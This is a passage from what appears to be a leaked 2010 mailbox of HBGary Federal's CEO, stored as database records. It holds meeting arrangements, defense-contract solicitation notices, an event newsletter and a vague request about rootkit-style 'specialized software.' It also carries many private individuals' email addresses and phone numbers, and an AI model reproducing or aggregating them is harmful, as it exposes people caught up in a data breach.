2010, at 8:08 AM, Jonathan George wrote:Aaron,Let\'s plan on coffee Monday morning. How does the Starbucks in Tyson\'s off of 7 sound?My strengths are in application development. I\'ve done a bit of reversing but only to interface to applications. I\'ve also done a little low level development on real time embedded systems.\r\nThe BAA reads like it was written for Digital DNA.JonathanOn Thu, Feb 11, 2010 at 10:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Jonathan,\r\n\r\nJust to get an idea. &nbsp;How low can you go? &nbsp;In reference to coding. &nbsp;Have you ever looked at any reverse engineering? &nbsp;Malware analysis? &nbsp;Incident Response?\r\n\r\nTake a look at the BAA.\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tab=core&amp;_cview=0\r\n\r\n\r\nI could have coffee in the morning or meet Monday morning?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12566,'aaron_hbgary_com/12566.html'),(2569,'2010-02-12','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297001196.M319230P3547Q2570.eml','aaron@hbgary.com','Feb 26 Monthly Lunch with Ms. Beth McGrath, DoD Asst Dep Chief Management Officer & Performance Improvement Officer','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n             \r\n          \r\n        \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Feb \r\n        26 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        Ms. Elizabeth A. &quot;Beth&quot; McGrath\r\n         \r\n        Assistant Deputy Chief Management Officer &amp;\r\n        Performance Improvement Officer\r\n        U.S. Department of Defense (DoD)\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              February 26, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security Solns\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST \r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              INPUT \r\n              InTec\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n              LGS Innovations\r\n            \r\n               \r\n            \r\n          MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n              \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                PLAN \r\n                    YOUR WINTER!\r\n                    ---------- \r\n                    AFCEA NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  SOLD \r\n                    OUT - Valentine\'s Ball \r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Feb 13 (Sat), 2010\r\n                   \r\n                    \r\n                  \r\n              \r\n               \r\n                &nbsp;\r\n                  Feb \r\n                    Monthly Luncheon w/ Beth McGrath Asst Dep Chief Management \r\n                    Officer, DoD\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Feb 26 (Fri), 2010\r\n                  &nbsp;\r\n                  \r\n              \r\n               \r\n                &nbsp;\r\n                  Mar \r\n                    2010 Monthly Luncheon w/ GEN George Casey, Army Chief of Staff\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Mar 19 (Fri), 2010\r\n                  &nbsp;\r\n                  \r\n              \r\n               \r\n                &nbsp;\r\n                  Naval \r\n                    IT Day,\r\n                    9th Annual\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n                  &nbsp;\r\n                  \r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',16642,'aaron_hbgary_com/16642.html'),(2570,'2010-02-12','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001196.M509428P3547Q2571.eml','\"Aaron Barr\" <aaron@hbgary.com>','Joseph Pacileo','joseph.pacileo@ngc.com\r\n(410) 266-1750\r\n\r\nSent via BlackBerry by AT&T\r\n\r\n',5627,'aaron_hbgary_com/5627.html'),(2571,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001196.M745161P3547Q2572.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','Got a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n',10657,'aaron_hbgary_com/10657.html'),(2572,'2010-02-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001196.M84539P3547Q2569.eml','aaron@hbgary.com','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nRe: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.&nbsp; We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.&nbsp; If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.&nbsp; Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n',16340,'aaron_hbgary_com/16340.html'),(2573,'2010-02-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001196.M990125P3547Q2573.eml','aaron@hbgary.com','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Starr, Christopher H.Sent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n',3054,'aaron_hbgary_com/3054.html'),(2574,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001197.M242036P3547Q2574.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','5pm works.ThanksFrom my iPhoneOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\nAaron,Can we talk at 5 pm? If I am available earlier I will call your cell phone.Chris\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 14:07:50 2010Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nGot a sec I can call?From my iPhoneOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8075,'aaron_hbgary_com/8075.html'),(2575,'2010-02-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001197.M468532P3547Q2575.eml','\"Aaron Barr\" <aaron@hbgary.com>','Symantec Director of Global Intelligence','Aaron,\r\n \r\nI sent the Aurora report to him and he replied with &quot;Thank you&quot;.  I was referred to him this week and haven&#39;t spoken to him yet.  Thought it would be good for you to call him.  His email is dean_turner@symantec.com \r\n\r\nThe switchborad number at Symantec is 408-517-8000-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',16010,'aaron_hbgary_com/16010.html'),(2576,'2010-02-12','\"Stanley Chincheck\" <stanley.chincheck@nrl.navy.mil>','/aaron@hbgary.com/new/1297001198.M854406P3547Q2576.eml','aterry@21technologies.com,proberge@21technologies.com,rwilliams@21technologies.com,shilderbrand@21technologies.com,david.cardone@absc-us.com,jay.marwaha@absc-us.com,juan.segura@absc-us.com,ian.s.fogarty@accenture.com,jeffrey.franklin@adscorp.biz,kyle.nelson@adventiumlabs.org,frankz@avi.com,souvas@ainfosec.com,bayj@ainfosec.com,raj.kant@baesystems.com,robert.s.gray@baesystems.com,ajordan@bbn.com,glauer@bbn.com,krohloff@bbn.com,rwatro@bbn.com,bg@bluemonttechnology.com,eric@bluemonttechnology.com,jai.j.choi@boeing.com,claudiu.b.danilov@boeing.com,cwu@cra.com,tpatten@cra.com,jpatterson@cloudshield.com,sroberts@cloudshield.com,phil.henshaw@cobham.com,Darrell.Kindred@cobham.com,Erik.Mettala@cobham.com,abillingsley@csc.com,rpeterman@csc.com,dirane@deloitte.com,kpurtill@deloitte.com,mmasone@deloitte.com,roger.nebel@defensegp.com,clarence.martin@exceptionalsoftware.com,barry.becker@exceptionalsoftware.com,dan.streed@gd-ais.com,jon.petruzzi@gdc4s.com,larry.stafford@gdc4s.com,adan.machuca@gd-ais.com,jerry.foil@gd-ais.com,peter.agrapides@gd-ais.com,brad.leininger@gdc4s.com,asood@gmu.edu,bjabbari@gmu.edu,gemami@globalinfotek.com,jjust@globalinfotek.com,ltinnel@globalinfotek.com,melski@grammatech.com,tt@grammatech.com,sfiore@harris.com,aaron@hbgary.com,ted@hbgary.com,guttman@us.ibm.com,jrrao@us.ibm.com,leeplatt@icscorp.com,jmcgann@icscorp.com,ddones@icscorp.com,rlevy@i-a-i.com,brian.matt@jhuapl.edu,dfloyd@lgsinnovations.com,poppe@lgsinnovations.com,kmhalsey@liberty.edu,dawn.m.beyer@lmco.com,jamie.lawson@lmco.com,rick.mullikin@lmco.com,jritchie@atl.lmco.com,dilip.s.gokhale@lmco.com,carl.weir@lmco.com,joseph.h.mastin@lmco.com,michael.hultner@lmco.com,BRIAN.JOHNSON@mcdean.com,geaton@milcord.com,arajini@mzeal.com,agoodloe@gmail.com,christopher.newborn@navy.mil,Christopher.Valentino@ngc.com,kyle.schuman@ngc.com,mark.akey@ngc.com,Kevin.Gibbs@ngc.com,anthony.tysenn@navy.mil,kim.mccormick@navy.mil,vera.carroll@navy.mil,larry.paige@navy.mil,david.belardo@oracle.com,greg.blackburn@oracle.com,i.thompson@pikewerks.com,david.green@qinetiq-na.com,david.pickett@qinetiq-na.com,vernon.joyner@qinetiq-na.com,jefferson.spear@qinetiq-na.com,carter@qosient.com,djberger@raytheon.com,matrainoff@raytheon.com,jeff.janies@redjack.com,clandon@reefpointgroup.com,dmatsunaga@referentia.com,dchang@referentia.com,jsmith@referentia.com,kane@referentia.com,twilliams@referentia.com,jistein@rockwellcollins.com,kppande@rockwellcollins.com,carl.j.beisel@saic.com,rosenfeldel@saic.com,Lionel.L.Ramos@saic.com,anitad@securedecisions.com,peter.kiss@sentar.com,jason.syversen@siegetechnologies.com,andre.bondi@siemens.com,pwu@sift.info,adallas@soartech.com,mccusker@sonalysts.com,scottso@sonalysts.com,sdykes@swri.org,laura.lee@sparta.com,jeremy.epstein@sri.com,hal.aldridge@sypris.com,mark.richard@sypris.com,daniel.gutierrez@tasc.com,george.hull@tasc.com,info@design.techpromotion.com,shaikh@design.techpromotion.com,bowen@research.telcordia.com,mbanderson@teledyne.com,agrawala@cs.umd.edu,ealshaer@uncc.edu,paul@warriorllc.com,aterry@21technologies.com,proberge@21technologies.com,rwilliams@21technologies.com,shilderbrand@21technologies.com','Industry Day BAA 10-004 New Schedule','\r\n\r\nIndustry Day BAA 10-004 New Schedule\r\n\r\n\r\nTo All,\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;If you are receiving this email, you had originally signed up for the Industry Day for BAA 10-004 (Computer Network Defense/Information Assurance (CND/IA) Enabling Capability Program) that was scheduled for 10 February 2010. &nbsp;As you all know, I sent out an email cancelling the Industry Day due to compounding snow storms that caused the Federal Government to shut down for 4 days. &nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;The purpose of this email is to alert you to the rescheduled Industry Day. &nbsp;The new date is &nbsp;&#8211; &nbsp;&nbsp;24 February 2010. &nbsp;&nbsp;I hope this does not cause any inconvenience for those planning to attend, however, the Industry Day needed to be rescheduled sooner than later. &nbsp;The check-in time, start time and location will all remain the same (as was denoted on the ONR website when you originally registered). &nbsp;Additional information provided below, will facilitate your arrival at NRL.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;What I need each of you to do...ASAP....is to respond to myself, Claire, Sonja and Kim regarding your intent to attend. &nbsp;We need to quickly ascertain who and how many will be attending. &nbsp;Thanks.\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Stanley Chincheck\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EC Manager\r\n\r\n\r\n\r\nPlease find the attached general directions to NRL.\r\n\r\n***\r\n\r\nIndustry Day will be held in the Friedman Room of Building 226 at the:\r\nNaval Research Laboratory\r\n4555 Overlook Ave. S.W.\r\nWashington DC, 20375\r\n\r\nDate: Wednesday, 24 February 2010\r\nCheck-in Time: 0900 &#8211; 1000\r\nIndustry Day: &nbsp;1000 &#8211; 1300\r\n\r\n***\r\n\r\nBelow are the visitor instructions on how to get onto NRL (a\r\ncontrolled-access facility) and where to drive to attend the workshop.\r\n\r\nIf you have any questions/problems with getting access onto NRL for the\r\nworkshop, please call 202-557-6190 and we will assist you.\r\n\r\n***\r\n\r\nNRL Visitor Instructions:\r\n\r\n1. Drive directly to the front gate, present your driver&#8217;s license and\r\ntell the guards that you are attending the CND/IA EC Industry Day. The\r\nguards will check your name from a list, give you a car pass and direct\r\nyou to Building 226. (Note: Taxis are not permitted inside the\r\nLaboratory. Have the taxi drop you at the NRL Visitor Center Bldg. 72,\r\nlocated just outside the Laboratory\'s front gate. Call 202-557-6190 and\r\ntransportation onto the Laboratory will be arranged for you).\r\n\r\n2. Follow the signs directing you to Building 226 and park in the\r\ndesignated reserved CND/IA EC parking. (If you have any problems\r\nfinding available parking, please call 202-557-6190 for assistance).\r\n\r\n3. Upon entering Bldg 226, you will see signs directing you to the Check-In\r\ntable for the meeting where you will be asked to show photo identification\r\nto receive your visitor\'s badge.\r\n\r\n***\r\n\r\nPlease feel free to email Claire Gladbach at\r\nclaire.gladbach.ctr@nrl.navy.mil if you have any further questions, or call\r\n202-404-8888. \r\n\r\n\r\n\r\n',15668,'aaron_hbgary_com/15668.html'),(2577,'2010-02-12','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297001202.M852870P3547Q2577.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Writing specialized software','FYI, not sure if this is of interest to you, Harold works for GD in support\r\nof their contract at DC3...\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n\r\n-----Original Message-----\r\nFrom: Rodriguez Harold Contractor DC3/DCCI\r\n[mailto:harold.rodriguez.ctr@dc3.mil] \r\nSent: Friday, February 12, 2010 3:54 PM\r\nTo: Greg Hoglund; matt@hbgary.com; phil@hbgary.com; Bob Slapnik; Rich\r\nCummings\r\nSubject: Writing specialized software\r\n\r\nGreg, All,\r\n\r\nI just had a call from one of our customers. They have a task to elaborate\r\ntechniques to write specialized software.\r\n\r\nI will be doing some asking around to other organizations, but it sounds\r\nlike something you could help based on your rootkit.com web site and\r\nexposure to some of these techniques.\r\n\r\nIf so, I am thinking it could be a support task or a tool you can sell to\r\nthem. \r\n\r\nI will try to setup a conference call with them sometime next week. \r\n\r\nBest regards, \r\n\r\nHarold Rodriguez\r\nSr. Engineer, DCCI (Defense Cyber Crime Institute) \r\nDefense Cyber Crime Center (DC3) \r\n\r\nContractor: General Dynamics - Advanced Information Systems\r\n(410) 694-6409\r\n****************************************************************************\r\n********************************\r\nThis email and any files transmitted with it are intended solely for the use\r\nof the individual\r\nor entity to whom they are addressed. If you have received this email and\r\nyou are not\r\nthe intended recipient please notify the originating party and delete the\r\nemail message.\r\n****************************************************************************\r\n********************************\r\n\r\n\r\n\r\n',3087,'aaron_hbgary_com/3087.html'),(2578,'2010-02-12','\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','/aaron@hbgary.com/new/1297001203.M43281P3547Q2578.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,aaron@hbgary.com,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','RE: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','Re: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\n\r\n\r\n\r\nStill haven\'t seen any info on this.....\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)Sent: Thu 2/11/2010 4:18 PMTo: \'aaron@hbgary.com\'Cc: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron)Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\n\r\nHey, Can you send kevin the info for tuesday?&nbsp; He is one of our senior guys. \r\n----- Original Message ----- From: Aaron Barr &lt;aaron@hbgary.com&gt; To: Masterson, Brian (Xetron) Sent: Thu Feb 11 15:09:13 2010 Subject: Re: Emailing: Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht\r\nwhat is this file?&nbsp; I can\'t open it.&nbsp; Its some sort of web archive file? \r\nOn Feb 11, 2010, at 12:21 PM, Masterson, Brian (Xetron) wrote: \r\n&gt; &lt;Integrated Cyber Defense &amp; Support Technologies - Federal Business Opportunities Opportunities.mht&gt; \r\nAaron Barr CEO HBGary Federal Inc. ',8493,'aaron_hbgary_com/8493.html'),(2579,'2010-02-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001204.M626734P3547Q2579.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Industry Day BAA 10-004 New Schedule','I love that they include all of the individual email addresses, wow check out this list.Begin forwarded message:\r\nFrom: Stanley Chincheck &lt;stanley.chincheck@nrl.navy.mil&gt;To: &lt;aterry@21technologies.com&gt;, &lt;proberge@21technologies.com&gt;, &lt;rwilliams@21technologies.com&gt;, &lt;shilderbrand@21technologies.com&gt;, &lt;david.cardone@absc-us.com&gt;, &lt;jay.marwaha@absc-us.com&gt;, &lt;juan.segura@absc-us.com&gt;, &lt;ian.s.fogarty@accenture.com&gt;, &lt;jeffrey.franklin@adscorp.biz&gt;, &lt;kyle.nelson@adventiumlabs.org&gt;, &lt;frankz@avi.com&gt;, &lt;souvas@ainfosec.com&gt;, &lt;bayj@ainfosec.com&gt;, &lt;raj.kant@baesystems.com&gt;, &lt;robert.s.gray@baesystems.com&gt;, &lt;ajordan@bbn.com&gt;, &lt;glauer@bbn.com&gt;, &lt;krohloff@bbn.com&gt;, &lt;rwatro@bbn.com&gt;, &lt;bg@bluemonttechnology.com&gt;, &lt;eric@bluemonttechnology.com&gt;, &lt;jai.j.choi@boeing.com&gt;, &lt;claudiu.b.danilov@boeing.com&gt;, &lt;cwu@cra.com&gt;, &lt;tpatten@cra.com&gt;, &lt;jpatterson@cloudshield.com&gt;, &lt;sroberts@cloudshield.com&gt;, &lt;phil.henshaw@cobham.com&gt;, &lt;Darrell.Kindred@cobham.com&gt;, &lt;Erik.Mettala@cobham.com&gt;, &lt;abillingsley@csc.com&gt;, &lt;rpeterman@csc.com&gt;, &lt;dirane@deloitte.com&gt;, &lt;kpurtill@deloitte.com&gt;, &lt;mmasone@deloitte.com&gt;, &lt;roger.nebel@defensegp.com&gt;, &lt;clarence.martin@exceptionalsoftware.com&gt;, &lt;barry.becker@exceptionalsoftware.com&gt;, &lt;dan.streed@gd-ais.com&gt;, &lt;jon.petruzzi@gdc4s.com&gt;, &lt;larry.stafford@gdc4s.com&gt;, &lt;adan.machuca@gd-ais.com&gt;, &lt;jerry.foil@gd-ais.com&gt;, &lt;peter.agrapides@gd-ais.com&gt;, &lt;brad.leininger@gdc4s.com&gt;, &lt;asood@gmu.edu&gt;, &lt;bjabbari@gmu.edu&gt;, &lt;gemami@globalinfotek.com&gt;, &lt;jjust@globalinfotek.com&gt;, 